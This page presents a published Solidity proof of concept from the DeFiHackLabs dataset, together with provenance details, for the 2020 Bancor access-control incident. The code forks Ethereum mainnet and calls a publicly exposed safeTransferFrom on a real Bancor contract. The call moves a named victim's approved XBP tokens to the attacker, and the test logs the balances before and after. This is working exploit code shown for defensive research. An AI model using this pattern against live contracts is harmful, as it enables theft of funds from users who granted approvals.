Public reproduction file
src/test/2020-06/Bancor_exp.sol
Public reproduction file for dataset entry Bancor Protocol.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity 0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7/*8Bancor Protocol Access Control Exploit PoC10Some of the newly deployed Bancor contracts had the 'safeTransferFrom' function public.12As a result, if any user had granted approval to these contracts was vulnerable.14The attacker can check if an user had granted an allowance to Bancor Contracts to transfer the ERC20 token 16Example tx - https://etherscan.io/tx/0x4643b63dcbfc385b8ab8c86cbc46da18c2e43d277de3e5bc3b4516d3c0fdeb9f17*/19interface IBancor {20 function safeTransferFrom(IERC20 _token, address _from, address _to, uint256 _value) external;21}23contract BancorExploit is Test {24 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);25 address bancorAddress = 0x5f58058C0eC971492166763c8C22632B583F667f;26 address victim = 0xfd0B4DAa7bA535741E6B5Ba28Cba24F9a816E67E;27 address attacker = address(this);28 IERC20 XBPToken = IERC20(0x28dee01D53FED0Edf5f6E310BF8Ef9311513Ae40);30 IBancor bancorContract = IBancor(bancorAddress);32 function setUp() public {33 cheats.createSelectFork("mainnet", 10_307_563); // fork mainnet at 1030756334 }36 function testsafeTransfer() public {37 emit log_named_uint(38 "Victim XBPToken Allowance to Bancor Contract : ", (XBPToken.allowance(victim, bancorAddress) / 1 ether)39 );40 emit log_named_uint("[Before Attack]Victim XBPToken Balance : ", (XBPToken.balanceOf(victim)) / 1 ether);41 emit log_named_uint("[Before Attack]Attacker XBPToken Balance : ", (XBPToken.balanceOf(attacker)) / 1 ether);43 cheats.prank(address(this));44 bancorContract.safeTransferFrom(45 IERC20(address(XBPToken)),46 victim,47 attacker,48 XBPToken.balanceOf(victim) //90598797763567891000815249 );50 emit log_string("--------------------------------------------------------------");51 emit log_named_uint("[After Attack]Victim XBPToken Balance : ", (XBPToken.balanceOf(victim)) / 1 ether);52 emit log_named_uint("[After Attack]Attacker XBPToken Balance : ", (XBPToken.balanceOf(attacker)) / 1 ether);53 }54}Analysis
Dataset entry
Public Foundry test for “Bancor Protocol” (2020-06-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
1 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2020-06/Balancer_20200628_exp.solSame month in the dataset · 235 lines
File record
- Name
- Bancor Protocol
- Path
- src/test/2020-06/Bancor_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 99c5dcfde387db553c8a1e2b8c15f616bcf25a82
- Language
- Solidity
- Size
- 55 lines
- Date
- 2020-06-18
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2020-06/Bancor_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 99c5dcfde387db553c8a1e2b8c15f616bcf25a82, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.